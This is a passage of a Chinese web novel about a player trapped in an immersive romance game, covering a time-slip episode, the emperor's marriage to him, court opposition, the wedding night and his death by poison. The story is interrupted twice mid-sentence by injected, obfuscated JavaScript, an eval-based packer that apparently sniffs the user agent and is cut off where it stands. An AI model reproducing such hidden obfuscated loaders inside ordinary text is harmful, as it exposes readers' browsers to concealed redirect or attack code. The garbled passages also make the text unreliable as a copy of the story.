青年微顿,低语,“自然,这位陛下,登位已有五年。” “他……这个皇帝当得好吗?” “……兄台,幸亏这是乡野间,在下就随口说说。自这位陛下登位以来,轻徭役,薄赋税……自身也算节俭,百姓眼底是不错的。” “你呢?你如何看他?” 祝瑶重新戴上眼镜,目光专注地看着他,似要好好看清眼前的这个人。 他叫夏言。 他……不是他初见的那人,他年轻、生涩、锐气。 “既多疑多思,也是性情中人。” “我曾在书院读过些书,关于这位陛下所知不多,只知他幼年多受宫侍苛待,先帝知晓后才令当时的纯贵妃抚养……他性格刚硬要强,犹擅骑射,先帝曾令其掌管羽林军……我亦听闻他才思敏捷,颇善声乐,宫中舞乐之声皆由他新排……" 青年低低叙说着,说着这样远离乡野的故事。 "他虽有些好诗文好声乐,可深知过犹不及,他有句话''生有何乐,死有何苦,不过尘土,不如行乐''……” 祝瑶怔住。 他缓缓摘下眼镜,只见倒计时依旧: 【02:27】 【02:26】 【02:25】 祝瑶起身,忽得停住,深深看了眼他,“多谢。” 青年只笑,有些叹气。 他望向这位短发异服,似是认识他的友人,有些无奈,他便只会说这句话吗? 祝瑶忽得抬手,看向手中的盒子。 他打开盒子。 里面正放着一枚如玉制成的珠子,温润如水,异常漂亮。 同他想的有些不太一样……不像什么仙丹,更像是某些高科技制作的产品般,时空循环吗? 也许……都来自未来。 祝瑶关上盒子。 祝瑶重新戴上眼镜,很认真地看了他一眼,只道:“我要走了,不必寻我,不必送我。” 青年微怔。 这么快就走吗? “临走前我有些话,想同你说,你能留在屋内听吗?” “……” 青年笑了声,只觉这个新结识的友人怪的很,可他是不讨厌的。 祝瑶不发一言走了出去,顺道关上了门。 青年无奈。 这是自己家吧,此人还真是自有一般主意。 祝瑶将屋外晾的自己衣服拿好,最后走到门前缓缓坐了下来,他随手将盒子放在门槛处,摘下眼镜看了下时间。 【00:35】 差不多了吧。 他迟疑了下,才缓缓出声道:“我的确认识你,不必问缘由。你知道便好……我有一枚仙丹,可改换……任何你想要的容颜。唯独服用后便是一生,应当不可复原。” “我也不知真假。” 门内,青年有些好笑,只觉这事情颇有些玄异。 这位友人离不得叆叇(眼镜),却称自己有枚不知真假的仙丹。 “我放在门口了。” “也许,对你有用……出生卑贱,就能决定一切吗?无论如何,不要浪费你的才能。” 话语刚落,倒计时停留到0。 门内,青年猛地打开门,只见门外空无一人。 只余一个小盒子。 他俯首蹲下,拾起那个木盒子,缓缓坐了下来。 游戏大厅,祝瑶怔怔看着屏幕,画面停留在青年坐在门槛处,许久许久都未曾抬头,只是沉闷坐着。 他手里则不断抚摸着小盒子。 忽得,画面彻底变黑,似是将一切都浮去了。 祝瑶低头,看向自己手里的衣服,一件有些湿的白衬衫。 显然穿不了。 此刻,他穿的……还是那人的外衫。 他有点想笑……莫名的想笑,笑这荒谬的世界。 刚刚那是又一次的时空穿越吧,一个不存在他的时空,也许是一个“他”刚刚投生就死亡后的时空。 赫连辉……依旧当皇帝当的很好。 那么,让他穿越到那里是想告诉自己什么? 24. 二周目 祝瑶有些急促地打开人物图鉴,赫连辉的卡面已然变了,变得更加辉煌璀璨,更加奢靡华丽。 画面上没有人。 而是自动播着一段小动态场景。 那是个正在修建中的宫殿,从初期的破旧黯淡,慢慢地显露新生,黄绿琉璃瓦,青黛色屋檐,朱红廊柱,蓝绿红金,交错分布,衬托地恢宏大气。 上书:蓬莱殿 祝瑶微怔,改了个字吗?赫连辉修这个宫殿做什么? 他看着人物的三个属性点。 【赫连辉:解锁度90%,攻略度90%,亲密度0%】 更高了。 高的让人觉得……有些难以明白,何至如此。 何至如此。 他同他只是少时的几次见面。 祝瑶看着另一张人物图鉴,依旧是静水流深的风景,只是这次是一池残荷,雨声滴滴落下,打的那院内竹子弯下了竹身,竹影不断摇曳,好像承受不住这突来的风雨,这狂风的呼啸。 祝瑶点了下【日光】,雨缓缓的停了,天边落下几抹光。 【夏启言:解锁度40%,攻略度5%,亲密度0%】 祝瑶看向人物属性,解锁度意味着他同他们的了解和认识吗?所以说,不同时空也是同一人…… 他看向……游戏主界面,没有了任何的日程安排。 实景的宫殿图,拍摄的很美。 他点开了【继续游戏】,文字开始慢慢吐露。 [赫连辉这次的回归,比以往的任何一次,都要来的显目。] [铲除了那些不听从的,拒绝政令的,越来越多的人不敢敷衍了,也不敢明面上的不满了,他们缩起了尾巴,努力适应着这个新的时代。] [这当然越发成了帝王的一言堂。] [他下令重修宫殿,宫内慢慢有些焕然一新之感。] [直到,他下了一封诏书。] [那是一封迟迟而来的诏书,也是一封遭受群臣反对的诏书。] [他下令封你为后。] 祝瑶沉默地看着这一切,他居然不感觉奇怪。 他看着游戏屏幕,再次转化为二次元的界面。童话风的宫殿里,不少的小人,服饰颜色各异,似是吵的很激烈。 唯独居于上座的玄衣小人不吱声。 他似是个看客。 祝瑶想,此时的自己,何尝不是看客。 他静静看着,看着头顶显示【大理寺少卿】【怒火】的红衣小人从列座走了出来,头顶上开始冒起了气泡。 “陛下,您怕是病了,病的不轻,应当请御医来看看。” “……” 这个大理寺少卿胆子挺大,祝瑶幽幽想。 “古今上下,臣还未曾听闻男子当皇后的事过……陛下若有意效仿古人断袖分桃,此乃陛下家事,臣本不应有微词,可国事家事本就于一体,您本就无子嗣,既立殿下为嗣,何必多此一举?” “您既深爱殿下,岂不闻恩宠过度,反遭其罪?” 那红衣小人干脆坐地,大声道。 祝瑶这回听到了语音,那声音嘲讽至极,句句奚落,压根不算劝谏,简直就差没指着鼻子骂: 你可真是个神经病。 你和自己表弟搞就算了。 你光搞不行,还不搞后代,你搞你表弟就算了,你还立他为继承人,这些都算了,你特么还想立你表弟为男后??你不是神经病是什么。 “……” 祝瑶算是知道了为何有人如此大胆,敢直接坐地骂。 这人正是前国子监祭酒——兰笙。 不过,官升的挺快,这就大理寺少卿了。 祝瑶觉得自己心态是越来越强大了,他竟还有心思想这些。 [现大理寺少卿兰笙发射了“毒舌”技能,喷射三尺,奈何不被接招,直接被无视,还被罚了七日不许饮酒。] [兰笙在家中日夜唱和,只道:“荒唐,荒唐。”] [朝野之中,有不少的人学着他,一同饮酒交际,一同怒骂皇帝……奈何皇帝就是不接招,避而不言。] [许是太多臣子忧心子嗣继承之事,赫连辉干脆回了句:"二圣临朝,有何不可。"] 祝瑶被气笑了。 这还真是……什么理由都能搬出来。 [宫中既下诏书,民间争议颇多,只是同朝野争论不同,那句“二圣临朝”顿时从宫内传至宫外,传至大街小巷,他们往往感慨这位皇帝当真是痴情,当真是性情中人,既爱极便样样都给,样样不落。] [无论群臣多么反对,朝野多少非议,赫连辉一改常态,反而兴致冲冲,他亲自召来钦天监人,足足算了五天,这才订下了大婚日子。] [你搬进了蓬莱殿,你一直在等他来见你,你有许多的话想同他说,可偏偏他不来,似是完全不敢来一样。] [你当然觉得荒唐,可也不知如何是好。] [许是他的一切举动,都让人觉得并非玩笑。] [终于这天,太后来了你宫中。] 殿外雨声滴滴,天气转凉了许多,却开始多雨起来,一连多日的雨连绵下着,弄得人心情也沉闷起来。 那是个略有些苍老的声音,只直白地将一切彻底剥开。 “你明知他的性子,可不行劝谏,却任由他胡来。” “既得帝宠,不思过错,岂能长久。” 祝瑶抬眼,略有些恍惚,香炉里的烟缓缓上浮,黑漆鎏金屏风摆着,眼前是一本印刷精美的书。 他再次进入游戏了吗? 那不远处重重珠帘下站着个疲惫身影,不依不挠地说,反反复复地说他的不该,他的过错。 他忽得回了句,“他是皇帝。” 谁能阻拦皇帝的想法? 听得此言,重重珠帘下那站着的身影略发疲惫,只道:“正应他是皇帝,你更不能让他不管不顾,任由着自己性子来。” “这天下本就是皇帝的,这一切都是皇帝的,他给你这些殊荣,他给了能给你的一切,你若有些良知,就该知道如何对他最好。” 祝瑶只觉荒唐,好笑。 这明晃晃殿堂内,左右宫侍都肃穆立着。 唯独那声音轻轻的,冷冷的,“对他最好……让他流芳百世,让他青史留名吗?他若是在乎就不会这么……叛经离道,他若是在意这点,在意史书功绩,自可高高挂起,做个世人称颂的圣贤君主,何必费如此周章。” “他求得是长久吗?我不觉得。” 那跪坐于地的殿下便低低笑了声,有些难得的怅然,“他求得从来是此刻,也只能是此时此刻。” “我不会去阻拦他。” “我没有资格,你们若怪我便怪吧,我是不在意的,终究不过一死不是吗?早死晚死没什么不同。” “千百年后的功绩,又与谁人说?不过都是几行字罢了。” 游戏大厅,全景式的屏幕将一切都收录,那珠帘下的疲惫身影,只着暗沉蓝衣,带着披风,戴着几根素钗。 那是个有些哀婉的声音,只恨恨道:“你好的很,好得很。” “你是世间无情人,家族、父母都可抛去,连带着他也要同你一样……你怎么不早死去,非要留在世间。” “我就该在他进宫前就把你这个祸害弄死。” 祝瑶没太在意这话,只是恍惚想……过了这些年,这位纯妃依旧是个性情中人,当真是少见。 只是曾经的婀娜多姿,好华服好珠鬟的娇俏少女……也不免苍老了,年年岁岁过去,谁能不老? 屏幕的光影散去了,声音也消失了。 故事依旧在继续上演。 只是,这场面……越发的喜庆了,游戏界面也染上了红色,是热烈的鲜红,独独一枝红梅伸出来。 光影前的幕布,几个小人被操纵着动作,伴随着艺人的唱词,一点点叙说着,正是皮影戏的上演。 “大王啊,大王,你可万万不能……被那奸人所害!” “坏人,坏人!” 稚嫩的童声应和起来。 高台上的小人不听,那身前的垂老矣矣的老者只苦苦哀求,“天地降下了妖孽,祸乱了朝纲,大王……大王切不能被那妖物迷惑了心智,乱了行止。” “妖物,妖物。” 稚嫩童声扬起,叫的越发势大。 祝瑶看的有些好笑,这是民间传的故事吗? [近来,朝野中的争论慢慢下降,朝臣们不得不承认他们劝不动,去死吗?死谏吗?前人都直接开骂了,都没得到什么反应,以死为谏……好像也许也无多大用处,这位陛下从不按照常理来。] [可民间却渐渐扬起一股传言,说是东方起星,似是荧惑星,正慢慢靠近紫薇星,荧荧火光,离离乱惑,是国有妖孽滋生,将要犯上,应立即铲除,以绝乱象。] [这波流言起于民间,传至大街小巷,最后传到宫里,可谁也不敢主动提到皇帝眼前,可终有一日被发觉,赫连辉一听便庞然大怒,一路查探下去,最终竟是查到了那位京城内颇有声名的璐王上。] [天子之怒,伏尸百万,流血千里。] [这罪名很快就定了下来,璐王王府众人主谋皆屠九族,其余无关人流至岭南,需服苦役终生。] [赫连辉在此之前,不是个嗜杀的性子,直到他屠南方大族……这才让人看出他的几分强硬本性,加上璐王之事,短短一月,朝野上下,群臣人人自危。] [以至于这年的寒衣节,也有些清冷了些,你站在殿外,披着大氅,看万家灯火……你忽得回头,见到了一个你意想不到的人。] 长长的回廊里,宫人行止如常。 此人步履飞快,转眼间走到身前来,红衣将那张漂亮的面孔衬托的很醒目,说出的话却不中听的很。 “殿下,你可知你有三错。” “一错生于帝王家,而不思进取;二错性情太较真,而过分清醒;三错你非嗜权之人,而步步后退。” “这第三错是错中之错。” “你任由陛下步步紧逼,不甘放手;而不行雷霆之手段,让其服从。以至于闹到如今宫中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他离得很近,近的听得到彼此的呼吸,能看清彼此指尖鲜红的红线。 忽得,一阵风吹来。 祝瑶低头,只见领口系着的大氅彻底散开,可忽得一双手细致地将大氅托住,替他收拢好,系上。 “天凉了。” “……殿下,你要多注重身体。” 这般沉稳、温和的语调。 祝瑶抬眼,望向身前的这个人,看着他墨绿披风下素朴的白衫,看着他眉眼里染上的霜雪,他实在是看不清,看不明,冥冥之中有些事情早已注定,就如同这个人的名字刻在了攻略人物图鉴之中。 “……你没什么其他话,要同我说吗?” 祝瑶偏过头说。 此人微顿,忽得牵过他的手,将他带到马边。 手被牢牢紧握着,这漆黑的夜里增添出几分莫名的意味,以及一些不同寻常的、隐秘的触动。 “我扶你上马。” 祝瑶望着他的侧脸,忽得嗤笑了声,打断他的手。 这就不叫殿下了。 他独自上了马。 眼前的人极为顺手,只替他牵着马。 这夜里的宫道漫长,马儿慢慢地踱步,向前走着、走着。 身后,远远传来兰笙的呼喊,“老师,你错了,你真的错了。” 月亮落在人的身上,只留下几抹剪影,只留下相对无言。 这条路终归有尽头。 祝瑶本低着头,随性的看着,看着牵马的人。 可马儿停下了。 他忽得抬头,然后就看到了等着他的人,昏暗的的灯火下,那双眼睛很明亮,很执着,又似乎带着熊熊烈火,像要燃烧一切。 他已然怒火攻心,可依旧克制、压住了,可谁都看得出来……他的疯狂,他的怒意。 无人敢触及他的霉头,左右宫侍都紧紧的缩着立在一旁。 赫连辉大步走了过来,有些恨恨的、略带痴意说:“阿瑶,我可以答应你任何事,唯独这件我不可以。” 他抬起那双原本锐利,此刻全然恳求的眼睛。 仿佛在说:别离开我。 祝瑶轻轻回了句,“我依旧不是很懂……” 这是屈从吗?他只是依旧迷茫……迷茫于这场感情,似乎对他来说太深了,可自己也没付出什么过。 他摇了摇头,最终说:“回宫吧。” 他是不寄于希望离开的,尤其当夏启言出现后……一切再次回到了原点,成了某种意义上的定局。 “我只是想出来走走,你应当明白的。” 祝瑶看了眼人,补了句。 赫连辉只抬头望着他,像是看到失而复得的瑰宝一样安定,那些焦急、烦躁就被这句话安抚住了。 祝瑶才刚刚想下马。 他就被整个人环抱住了,彻底落入他的怀中。 25. 二周目 时光将此刻凝结,画面上的帝王目光追逐着马上的少年,是如此的专注,如此的自若,仿若无人之境。 少年微偏头。 不知是在逃避这灼热的目光,还是在静悄悄吐露着自己的心声。 “……你应当明白的。” 多余的解释都不必有。 少年准备下马。 忽得帝王上前,称其落地时,将人紧紧拦抱在怀里,只稳步转身走回去 。 空坐着游戏大厅的人,看着这一幕,只低下了头。 时光将所有人都磨练了。 他只能看到那人鬓角渐生的白发,只能看到那分明眉目间的疲惫,看到世事给人带来的憔悴。 他曾看他直面骄阳,看他淡然轻笑,看他火中执拗……他看了他这些年,看着他从幼时到长成,再到盛年,再到如今……步步迈入落日的余晖,皇帝长寿吗?古来长寿的皇帝多吗?他不清楚。 向来……多是临死前的追逐生的呼喊,在说活的更久点,更久点吧。 赫连辉会这样吗? 不会的。 他依旧是那个少时说“一起做鬼也不错”的少年。 祝瑶猛地抬头,有些执拗地看着游戏界面,变幻为二次元的宫殿里,红衣的小人静静看着镜中自己。 身旁的粉衣宫女面露忧愁。 【你的宫女冬枣有“悄悄话”对你说。】 【你查看了“悄悄话”。】 祝瑶静静看着这场对话,看着这场主仆之间的对话。 出乎意料,这是来自她微微不平、有些无奈的话。 [她说兰笙自请辞了官职,说是救国无望,唯有……离去。] [兰笙离别前写了一篇谏文,将朝中上天诸臣都痛骂了个遍,所以众人对他的离去近乎拍手称快。] [他走前更直言他要放纵于天地,再也不掺和国政之事……做皇帝的人都是疯子,全都疯了,他就这样朝中大骂,骂天骂地骂所有人,骂了个痛快后,直接弃官离去。] 画面转向朝野上的混战,平面的小人们似是打起架来了。 其中穿红衣的小人一人战三,气势汹汹。 祝瑶难得被逗笑了。 他接着往下看,那是一段回廊前的剪影,有些依依惜别。 [她说兰笙走前托人留了一句话,是给你的,“殿下,保重。”。] [他就这样离去了,不顾及曾经的师长,不顾及……那个曾将他从泥泞里救起的老师,只知道离别前,他去璐王府邸门口,留了几株芙蓉。] [他被王府旧人高吐唾沫,也不语,只是默然离去。] 在这之后,则是一段连环画形式的短片。 祝瑶认真看,有些无奈。 这连环画说的恰是……这位天不怕、地不怕,天底下独一号的喷子。 兰笙此人,昔年因一篇谏文声名鹊起,也因此遭了祸患。 他本是东阁大学士竺彬的小子,却因这篇谏文被家中人视为目无兄长,眼无君父,而被逐出家门。 彼时,他尚年少,才不过十二三,就流连于烟花之地靠卖词维生,时间渐长,词调传扬,颇有盛名,越发狂骄,不知天地何处。 直到某日无所事事,临街游荡。 他听朋友说,远在北地的夏启言评论过他一句“便有姣姣天赋,不用反退,终泯然众人矣。”。 兰笙自是不服气。 他写信致辞,接连三封,次次焦急等着回信。 谁也不知夏启言回复了什么……众人只知道这三封信后,兰笙一反常态,不再写词,不再纵情,而是避居京城外的骊山,开始重新读书习文,也很快就中了举。 在这之后,就是他指责太子,引起非议。 …… 毫无疑问,他们有着半师之谊。 可那一夜,这对师生不可避免地走向了分离、决裂。 祝瑶只是看,只是看……他是看客,依旧是看客吗? 他只能沉默。 界面上,热烈的红铺满宫殿,无处不体现着那种欢闹,喜庆,可红衣小人依旧看镜中自己,静的像是一副神像,似在观摩着人世间的自己。 [你的宫女冬枣突然跪地,近乎哀婉着说着话。] [她说殿下,求求您,尽量让自己快活些吧。] [她说殿下,能不能……能不能去让陛下别这样了,别逼所有人了。] 祝瑶困惑地看着这一切,看着那平面上的小人。 是……赫连辉在逼所有人吗? 不是的。 忽得,眼前突变,朦朦的铜镜里照出个略有些苍白的脸,有些萦萦环绕着的淡淡的忧伤。 那样庄重素静的宫殿,也摆上了凤纹烛台,轻柔的纱帘将一切都束起,只留下人的几抹剪影。 祝瑶出声:“不是他在逼所有人,也许,是我……” 是自己在逼他吧。 那一日,重重珠帘下反反复复的叙说,也并非全是一面之词。 “你是恨他吗?你明知道他非你不可,明知道他愿意把自己的一切都给你……可你呢?” “他的性情我清楚……他本可以做个众人称赞的皇帝,不必这般惊险,不需要这么劳心劳力……” 过犹不及。 他明明都清楚……如果没有自己…… 祝瑶看着铜镜的自己,只觉得越发模糊。 生有何乐,死有何苦。 不过尘土。 不如……行乐。 这是另一个时空里他说的话,清醒的甚至不像一个皇帝,一个拥有天下、贤明远扬的皇帝。 “他却偏偏一次次为了你……你自己清楚他对你有多不同,可你呢?你怎么对他的,这宫里谁看不明白。你若深爱他,他何苦一次次把心都掏出来给你看,你就不该给他若有若无的期望。” 自己给他期望了吗? 有的吧。 当断不断,反受其乱。 可……祝瑶想到那一步步攀升的数值,有些讽刺地笑了,不回绝是否也是一种任由,一种放纵。 他好像始终都在等……等这场游戏的尽头。 也许也不仅仅如此。 最终,冬枣只听见那缓缓阖上眼,稍作休憩的殿下,用一种冷清清的语调,说着一些讥诮的话。 “其实,他们说的也许是对的。” “我不是个好东西。” 夜色沉沉,烛火映人,只留下那轻蔑的笑。 祝瑶抬头,看前方黒寂的屏幕,看此方不知何处的空间,看自己身上披着的外衫,只觉有些淡淡的荒谬。 游戏界面上的文字依旧在吐露: [没有人再敢有微词,朝堂上的风波慢慢平息,震慑强硬的手段使人避而不谈,就连久居宫中的太后都闭口不言。] [没有人能阻挡帝王的步伐。] [可最令人吃惊地是……那位永远看不清,肃穆稳重的丞相,那位随着帝王从封地至今的朝臣,那位力推改革新政的大人却保持了罕见的缄默。] [他难道不知这是动摇国本的大事吗?] [没有人知晓为何?] [反常到了极点,不知道多少人去叩他的门,那三尺之地,守门的仆人只干脆闭上眼,拢住耳,装作不知。] [有的人败退了。 有的人进了门,可很快也出来了。] 祝瑶轻抬头,却看见了大屏幕缓缓亮起,那是寂寥竹园里一个身影,凄清的月色里,他只着着件素净白衣。 清朗如修竹的姿态,发鬓染上了霜雪,眉目间见不到几分欢欣,有的只是一股难见的哀意。 他竟是在喝酒。 他一口一口的喝着,一口一口闷着。 不知过去了多久,就这样醉倒在椅间,他仰着头,嘴角微微勾动,伸出一双手似是要遥遥触碰着什么。 可最后手臂颤颤的落在衣摆里,终究是什么都没有。 祝瑶轻悄悄偏过头。 忽得,风吹过帷幔,眨眼间只见那朦胧的烛火,只见到那镜中的自己,红色的衣裳如火,于暗暗地光下透着金色,不远处的宫灯也罩着囍字,金粉铺就的字浸透有力,亦是洋溢着一股欢快。 漆黑的屏风换做了红漆,上面染刻着龙凤成对,底下则是万里江山。 夜色弥漫开来,浸透一片凉意。 祝瑶低头。 黑漆的妆台,配着朱红绸缎,色彩分明,上铺着一柄玉如意。 他忽得起身。 他抬头看向四周,恍惚地看着,殿内很静,只听得到几声窗檐处的鸟鸣声,于这宫里有些过分清冷。 明明一切都换成了红色,意蕴着喜庆、欢乐。 蓬莱殿。 蓬莱是仙人居住之地。 可这里有的只是凡人,还是个逃避的凡人。 突然,殿门打开了,有人大步迈了进来,祝瑶仍在看半掩着的窗檐处的半树芙蓉花,许是因这景色甚美,宫人立了个烛灯,幽幽灯火下,那花开的极其的盛,极其的艳,极其的美。 不知为何,他莫名想到那个月色下的吻,刀光剑影之中,那个少年无比忐忑、无比珍重的吻。 祝瑶忽然回头。 他看到了走进来的人,竟有些莫名恍惚。 有那么一瞬间,他竟是觉得恰似当年他从画里出来时,看到长成的少年,锋芒初露,可亦是沉寂的。 直到去封地路上,才稍显出自身性格。 真奇怪。 直到被环住,从背后被环住。 祝瑶想的依旧是……少年时的他,不是认不清,只是时间过得太快了,快的让人回不过神来。 深深宫殿之中,只余互相依偎的两人。 “不求长相守,只求……此刻相伴。” “阿瑶,我很欢喜。” 身后传来几声低语。 祝瑶看向扣住自己手腕间的手,那是一双有着厚茧的手,有着少许的新增的伤痕,将自己牢牢扣在他怀里。 彼此的心跳贴近,胸膛间的紧靠……太近了,太近了,以至于半分逃脱不了,只能任由这个怀抱更紧。 可耳边的呢喃是如此的轻,轻的只能自己听见。 他被抱了起来。 直到缓步走到那铺设好的床前,红烛静静地燃着,香炉里的紫烟萦绕着,只留下纱幕将一切都盖住。 那是浓厚的呼吸,沉沉地打在脖颈间,厚重指腹拂过耳后,缓缓向前,直到面颊,忽得轻轻贴近,将他扣住,微仰起头,唇舌彻底覆入其中,不给他任何呼吸的机会,只是用力地索取、索取。 祝瑶吃惊地望了眼。 随后是无尽的沉默,缓缓闭上了双眸。 出乎意料,这个吻结束了,他没睁开眼,不知那是什么样的场景,只觉得某种注视越发的深了。 忽得,掌心传来几分痒意,是舔舐般的摩挲。 祝瑶怔住。 他想睁开眼了,可却被手掌拂过,遮去了视线。 他只能感受着似是唇舌的拂过,恍惚间红绸盖住了眼,只能被迫地手掌被覆盖住,被扣住,彻底卧在床上。 他只能任由着……那缓慢升起的潮热,逐渐蔓延开来,彼此交缠地愈发紧密,呼吸声与肌肤交融,耳垂被含住,腿部被抵住,整个人被彻底的禁锢、不得不仰着头无力呼吸着,挣扎着。 最终,祝瑶有些缓慢、滞涩地轻语,“够了。” 那人却不罢休,身躯靠近,湿热的肌肤紧贴,渐渐吐露出几分缠绵话语,“还不够,啊瑶……” “我想,我想让你快乐。” 炽热地温度,焦灼的贴近,萦绕在耳边的喃喃自语。 祝瑶只得闭目。 游戏大厅,绵长的呼吸,紧促的呼吸,将所有沉闷的回忆都打断,祝瑶抬头看着眼前的一切,暗沉的光幕里,只余浅淡的余光。 唯有轻薄的衣衫才提醒着他,他回来了,他回来了。 他略有些焦急地看着游戏界面,看着那显露的画面,那是个对镜梳妆的画面,略有些怔怔的少年。 "阿瑶,这根发簪……当年我就想替你挽上了。" 男人低笑,他取出那只素净的玉簪,轻轻地替少年挽着发,怀着无比的珍重。 少年微微而动。 身后的玄衣帝王,虔诚地望着他,许下了毕生渴求的心愿: “结发为夫妻,恩爱两不疑。” 可紧接着音乐变得高昂起来,似是止不住的欢喜和雀跃,可极度的焦躁、难耐,晦暗的光影里,默片似的剪影,向前方奔跑着,跳跃着,似是迎来了最终的地处,那阴暗的殿堂内,却是一阵安宁。 佛前的跪坐女子,背对而立,只着一件素衣。 她双手合拢,平静的祈祷。 [那是大婚后的第三日,你却得到了个消息,奚夫人想见你。] [自那日的叛乱后,她就长久的避居宫里……说是避居,不如说是囚禁。无论如何,是她带领着奚家人进了宫,掀起了那场蓄谋已久的叛乱。] [你虽从未亲眼见过她那时的疯狂,那样愤然不顾一切的辩驳,可也知道她在从中掺和了太多……] [奚家人大多死了,多是死在争斗和逃亡中,少有些的怕是趁着当时战乱,隐姓埋名于乡野间。] 祝瑶静静看着文字的吐露,看着那光影处的女子回头,轻轻启声,“瑶儿,你来了。” 音乐变得沉郁,忧愁。 可似有一曲浅浅的儿歌,那是母亲哄着孩童睡熟的歌谣。 “月光光,照地堂。问儿郎?何时归。问儿郎?何时归……” 画面上黑底白字的文字依旧在前进,任何人都阻拦不了,如轰然而来的激流飞速的下落,下坠。 文字在下沉。 [你的母亲说要见你。] [你自然去见了,谁也阻止不了你,何况你某种意义上成了帝王的另一面,成为了这座庞大宫殿的另一个主人。] [你与他,日则同行同坐, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在他吃那碗面,才刚刚吃到一半时,宫殿外急匆匆跑进来不少人,首当其冲的是一声撕心裂肺的呼喊。 “不要吃。” 奚夫人忽得静静地站起,忽得有些摇摇欲坠地笑了声,顺势吐出一口血来。 她只是笑。 她只是笑,如同那佛前的菩萨。 “瑶儿,你知道吗?我好恨,好恨这世道,恨这一切……而我最恨的就是他,恨皇帝,恨他这个皇帝。” 画面里,那静默不语地少年,闷声一下,缓缓流出几丝血。 祝瑶怔然,他依旧清晰地记得那一刻,那一瞬间的痛苦,是真的很痛很痛,可他没有不甘心。 [这副身体既然是她给的,那就还给她吧。] [你怔怔想到。] [你看着身旁吓得失色的冬枣,整个人彻底崩溃的模样,只轻轻说了句,“不要难过。”] 祝瑶轻轻伸出手,走近了些,抚摸了下……来的那人。 他那紧锁的眉间。 近乎真实摄录的画面里,那赶来陷入凝滞的帝王,从疾步到缓步,到不敢相信地将人抱起,随即呼喊着身边的一切,“快让太医来啊,快来人。” 一切都是如此的疯狂。 祝瑶依旧清晰地那一刻,那死亡的终结。 他亲眼记得。 自己微微笑了下,随后看着…… 赫连辉不受控制地呼吸急促,急切到说不出任何的话来,只全身发颤地握着自己的手,他的手也在抖,抖的差点要握不住,只张口欲说些什么,可什么也说不出,只能无助地看着自己。 他有些麻木的看着,像个无助的孩子。 最后,赫连辉很执拗地说,“别骗我了,你突然的消失,突然的离开,每一次的出现,每一次的离开都不可捉摸,我真的恨你,好恨你,恨你如此的狠心……恨你曾经明明再次出现了,却不愿意和我相认。” “我真想恨你,恨死你了。” “可我还是不在意,我好想你好想你……你告诉我,你不会离开,你会回来的是吗?” “你告诉我啊!告诉我啊!” 画面里的嘶吼是如此强烈,以至于其他人的神情、惊呼都被掩盖住了,只剩下他的哭诉。 可他没得到想要的回复。 “小鬼,难过什么?” “我是不死的,明白吗?你知道的,没……没什么……好怕的。” 画面里的声音有些慢,有些幽然,有些淡淡的自嘲,随即是几声沉重呼吸声,伴随着那最后的几声自语。 “只是……不要等我了。” “应当是等不到了,明白吗?不值得的。” 那画面里的少年微笑着,轻轻抬手,想要抚平跪地帝王的眉,可那只手还是勿地于空中,彻底掉落下去。 “啊啊啊啊啊啊。” 整片寂静之中,只留这声刺人疯狂的怒叫。 这偌大的宫殿里,所有的宫婢都惊恐看着,看着那倒地而死依旧微笑的奚美人,看着那帝王怀里的人也留着淡淡的笑,只是不同于他母亲的无遗憾的笑,这位殿下的笑里有几分萦绕着的萧索和愧疚。 他虽是笑。 可谁也知道……他只是努力让自己笑的,显得不那么痛苦。 这寂静的佛前,宫人们都仅仅闭住了嘴,害怕地向旁边走去,只想着逃离可依旧退了回来。 殿外的士兵围了起来,渐渐的缓缓起了几声悲鸣,细碎的哭声。 空留着依旧原地的帝王,只是沉浸在自己的世界里,不依不饶地问着:“怎么会这样?怎么会这样?” “他告诉过自己的,告诉过自己的,他会回来的。” “他没有死。” “他没有死。” 赫连辉喃喃出声,“不会的,还会再见的吧,还会……不不不,这不可能,不可能,我还能等到的。” 屏幕就此停留在这一刻。 祝瑶只是看着,看着……不知看了多少遍,这场全景似的观影只有他这么一个观众,只有他一人。 “欣赏”着他所打造的结局。 【恭喜玩家首次达成攻略人物“赫连辉”攻略度100%,收获忘情丹X1】 【恭喜玩家解锁隐藏cg:黄泉不归路,收获缘分碎片X3】 【恭喜玩家达成结局:史册留名。 】 游戏大厅,俏皮的语调反复播放着,向玩家播放着这……难得的成就。 祝瑶只是依旧看着……看着那不断被自己重复播放的cg场景,这场漫长的死亡被一次次重复着播放。 他高兴吗? 他不知道。 他只是想……再看一遍吧。 忽得,那游戏台前的身影彻底消失了。 26. 现世○ 【恭喜玩家完成结局:史册留名。 】 【为此奖励玩家返回现实3天,希望玩家再接再励,解锁更多可能的结局,努力达成各类成就。】 祝瑶怔怔看着电脑屏幕,黑底白字的简陋游戏界面,几行清晰的字依旧显露在屏幕上。 身上披着的……是游戏大厅里出现的那件素净白色外衫,祝瑶低头看,略有些出神,他离去了多久。 他猛地起身,看向周围,是他的家,一切都是那么的陌生、熟悉,素白的墙,简单的家装,空荡荡的。 唯独门口那块明黄色的海绵宝宝地毯比较显眼。 他回来了,他回来了。 祝瑶呆了下。 他瘫坐下来,往后仰着,闭上了眼。 耳边,忽得跳跃出一个灵动悦耳的声音,可不免有些隐隐的阴阳怪气。 【玩家你好,不得不说,实在很是佩服玩家的游戏体验,居然能做到清醒的赴死,实在是太令人感动了。】 【玩家您可真是个秀儿啊。】 祝瑶沉默。 他闭着眼,实在不是很想……想太多关于游戏的事情。 这难道不得怪游戏太真实,另一个真实的世界……他怎么不可能当真,尽管他是在玩一场模拟游戏,可是随时随地进入游戏,沉浸式地体验,让人完全察觉不到虚假、只是游戏,只是游戏吗? 【这当然不只是游戏,桀桀桀桀桀桀!】 【玩家有没有感到后悔呀!就这样早早的结束一生,实在是……太潦草了,太令人可惜了。】 【以至于很多人说你实在是太偏激、太极端了。】 祝瑶彻底愣了。 什么叫做不只是游戏? 